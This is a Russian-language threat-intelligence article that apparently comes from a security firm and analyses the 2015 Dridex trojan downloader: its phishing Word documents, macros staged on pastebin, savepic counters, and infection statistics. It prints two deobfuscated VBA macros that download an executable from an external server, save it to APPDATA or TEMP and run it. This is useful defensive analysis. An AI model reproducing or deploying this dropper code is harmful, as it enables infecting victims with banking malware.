Банковский троян Dridex, потомок более раннего вируса Cridex, обратил на себя внимание специалистов по информационной безопасности еще в октябре 2014 года. От сотен своих собратьев Dridex отличался использованием порядком подзабытого механизма распространения с помощью макросов Microsoft Word (в некоторых версиях вируса — MS Excel).
Длившаяся несколько месяцев эпидемия с десятками тысяч машин, заражаемых каждый день, схлынула, но сам вирус не исчез. С первых чисел мая 2015 года система Threat-Intelligence компании «Перспективный мониторинг» отслеживала эволюцию нового загрузчика Dridex, предположительно созданного в нашей стране.
Оригинальный вирус
Архитектурно Dridex представляет собой два независимых компонента — загрузчик (Trojan-Downloader) и тело вируса (exe-файл). При этом загрузчик хоть и запомнился в связи с распространением именно Dridex, на самом деле может использоваться для скрытой загрузки любого вредоносного контента (модель malware-as-a-service).
Схема заражения вирусом Dridex такова:
- На первом этапе используется социальная инженерия, а именно рассылка фишинговых писем от имени крупных финансовых корпораций Великобритании (под удар Dridex в 2014 году попали преимущественно граждане этой страны, а также, в зависимости от версии вируса, Канады, США и Чехии). «Возврат повторного платежа», «Подтверждение транзакции», «Заказ принят» — тематика писем так и подталкивает получателя ознакомиться с информацией, которая, по уверению отправителя, содержится во вложенном doc-файле.
- После скачивания и открытия документа жертва сталкивается с сообщением, что для корректного отображения сведений требуется включение макросов (по умолчанию в MS Office они отключены).
Рисунок 1. Вложенный в фишинговое письмо документ
- Обфусцированный VBA-код, запускаемый после включения макросов, скачивает тело вируса с прописанного в нем адреса компьютера-зомби.
- Загруженный и запущенный exe-файл крадет учетные данные аккаунтов онлайн-банкинга с компьютера жертвы.
Новый загрузчик
Так работал Dridex в 2014 году, но со временем даже самые неторопливые разработчики антивирусов к 2015-му написали сигнатуры, успешно отлавливающие как тело вируса, так и его «первую ступень». По-видимому, число заражаемых в день машин упало ниже какой-то критической отметки, и авторы Dridex решили сменить загрузчик.
Что делает новый trojan-downloader Dridex?
Шаги 1 и 2 его работы остались неизменны, а вот дальше картина становится несколько иной:
- Запущенный макрос заходит по прописанной в своем коде ссылке на pastebin.com (сервис, позволяющий анонимно загружать отрывки текста, обычно фрагменты исходного кода, для всеобщего доступа), откуда копирует текст второго макроса и запускает его.
- Второй макрос открывает изображение с savepic.ru (в зависимости от версии макроса .net или .org).
Рисунок 2. Открываемое первой версией загрузчика изображение
- Далее макрос так же, как и ранее, подключается к компьютеру-зомби и скачивает с него exe-файл с телом вируса.
- На этом работа макроса не заканчивается. Он запускает экзешник, и, если запуск проходит успешно (вирус появляется в списке процессов), загружает с savepic вторую картинку.
Рисунок 3. Изображение, открываемое загрузчиком после успешного запуска вируса
- Далее Dridex опять же подключается к командным серверам и делает свое черное дело.
Рисунок 4. Общая схема заражения вирусом Dridex
Новый загрузчик Dridex имеет две ключевые особенности: использование анонимных сервисов и нетривиальную причину, по которой он загружает изображения с savepic.
Зачем (конечно, кроме как шутки ради) в загрузчике используются картинки, понятно из статистики каждой картинки на savepic.
Рисунок 5. Сервисная страница изображения
Каждая такая страница содержит счетчик, причем бесплатный и анонимный, что делает его особенно удобным для сбора статистики по заражению (первый счетчик показывает, сколько пользователей запустило макрос, второй — сколько машин в конечном счете было заражено). Или, если предположить, что загрузчик используется в соответствии с моделью malware-as-a-service, счетчик отлично подходит для информирования заказчика, за сколько зараженных машин тому придется заплатить.
Макрос
Первая версия VB-скрипта от 30 апреля была очень проста. Видно, что авторы лишь пробовали свои силы. В ней не использовались даже счетчики на savepic.
Как выглядела первая версия VB-скрипта после деобфускации:
HGyu87f7Usf.Open GET , hxxp://carolebellaiche.com/wp-content/image.jpg , False
HGyu87f7Usf.Send
Set dfgfderer = WScript.CreateObject(WScript.Shell ).Environment(Process )
iyUGbuwerff = dfgfderer(APPDATA )
iyUGUIvbuiwe7vhJ = iyUGbuwerff + \o8237423.exe
with oUIOGuiwefff
.type = 1
.open
.write HGyu87f7Usf.responseBody
.savetofile iyUGUIvbuiwe7vhJ, 2
end with
Set uyGUYhi8wef = CreateObject(Shell.Application )
uyGUYhi8wef.Open iyUGUIvbuiwe7vhJ
Последняя на момент написания статьи версия (от 3 июня):
dimqqqqqqqqqqqqqqqqqwe: Set qqqqqqqqqqqqqqqqqwe = createobject("Microsoft.XMLHTTP")
dim qqqqqqqqqqqqqqqqqwedf: Set qqqqqqqqqqqqqqqqqwedf = createobject("Adodb.Stream")
qqqqqqqqqqqqqqqqqwe.Open "GET", "hxxp://95.47.161.88/bt/bt/getit1.php", False
qqqqqqqqqqqqqqqqqwe.Send
Set qqqqqqqqqqqqqqqqqwedfew = WScript.CreateObject("WScript.Shell").Environment("Process")
qqqqqqqqqqqqqqqqqwedfewwertt = qqqqqqqqqqqqqqqqqwedfew("TEMP")
ewrwersdfffs = qqqqqqqqqqqqqqqqqwedfewwertt + \645634334555555.exe
with qqqqqqqqqqqqqqqqqwedf
.type = 1
.open
.write qqqqqqqqqqqqqqqqqwe.responseBody
.savetofile ewrwersdfffs, 2
end with
Set qqqqqqqqqqqqqqqqqwedfewwerttwer = CreateObject(Shell.Application )
qqqqqqqqqqqqqqqqqwedfewwerttwer.Open ewrwersdfffs
dim zzzzzzzzzzzzzzzzcd: Set zzzzzzzzzzzzzzzzcd = createobject(Microsoft.XMLHTTP )
dim zzzzzzzzzzzzzzzzcddf: Set zzzzzzzzzzzzzzzzcddf = createobject(Adodb.Stream )
zzzzzzzzzzzzzzzzcd.Open GET , http://savepic.ru/7167468.png , False
zzzzzzzzzzzzzzzzcd.Send
Set xxxxxxxxxxxxxxxxxxdd = GetObject(winmgmts:\\.\root\cimv2 )
Do
Running = False
Set colItems = xxxxxxxxxxxxxxxxxxdd.ExecQuery(Select * from Win32_Process )
For Each objItem In colItems
If objItem.Name = 645634334555555.exe Then
Running = True
Exit For
End If
Next
If Not Running Then
WScript.Sleep 3000
End If
Loop While Not Running
dim aaaaaaaaaaaaader: Set aaaaaaaaaaaaader = createobject(Microsoft.XMLHTTP )
dim cccccccccccccsderrr: Set cccccccccccccsderrr = createobject(Adodb.Stream )
aaaaaaaaaaaaader.Open GET , http://savepic.ru/7193071.png , False
aaaaaaaaaaaaader.Send
То есть:
- Программа скачивает файл трояна с http://95.47.161.88/ и сохраняет его на диск.
- Увеличивает счетчик №1 (http://savepic.ru/7167468.png).
- Запускает скачанный файл и проверяет, что процесс находится в памяти.
- В случае успеха загрузчик увеличивает второй счетчик (http://savepic.ru/7193071.png). Троян успешно запущен.
- В последних версиях загрузчика, к сожалению, используются уже не столь забавные картинки.
Статистика
Аналитическая система ЗАО «ПМ» впервые столкнулась с образцом новой версии загрузчика Dridex 30 апреля и на момент написания статьи получила из доступных в интернете источников данных 168 образцов вируса. В течение этого времени загружаемый с pastebin.com скрипт менялся 12 раз.
Рисунок 6. Список образцов загрузчика Dridex в системе Threat-Intelligence ЗАО «ПМ»
Рисунок 7. Сводная информация об одном конкретном образце
Рисунок 8. Фрагмент характерного трафика, порождаемого данным образцом
Как мы видим, в нем легко выделить загрузку VB-кода с pastebin.com и загрузку изображений.
Рисунок 9. Использовавшиеся для загрузки трояна серверы-зомби
Рисунок 10. Командные серверы, к которым пытался подключиться exe-файл Dridex
Рисунок 11. Командные серверы, подключение к которым прошло успешно
Заключение
Новая эпидемия сопровождается в среднем 10-15 тысячами заражений в день, что очень хорошо показывает, насколько эффективным оказался новый Trojan-Downloader и насколько плохо смогли противостоять ему современные антивирусы, IDS и IPS.
По ссылкам ниже можно посмотреть, как документы MS Word с исследуемым загрузчиком различных версий определялись антивирусами:
Рисунок 12. Неутешительный результат сканирования одного из заражённых документов 57 различными антивирусами
С целью защиты от этого загрузчика и ему подобных нашими специалистами был сформирован набор сигнатур для используемого в «Перспективном мониторинге» ViPNet IDS, который теперь однозначно определяет любую его версию как AM TROJAN W97M.Downloader VB Obfuscated Script Download from Pastebin.com.
Но, впрочем, как и на любой войне, нападение здесь опережает защиту, и каждый день вирусописатели придумывают новые и новые не детектируемые пока вредоносы.
А до окончания Dridex-эпидемии, по-видимому, еще далеко. Судя по данным счетчиков, только за один день, 8 июня, макрос загрузчика был запущен 53657 раз, успешно заразив 44102 машины.
Рисунок 13. Первый счетчик — http://savepic.ru/7237013m.htm
Рисунок 14. Второй счетчик — http://savepic.ru/7234965m.htm
Похоже, самое интересное еще ждет нас впереди.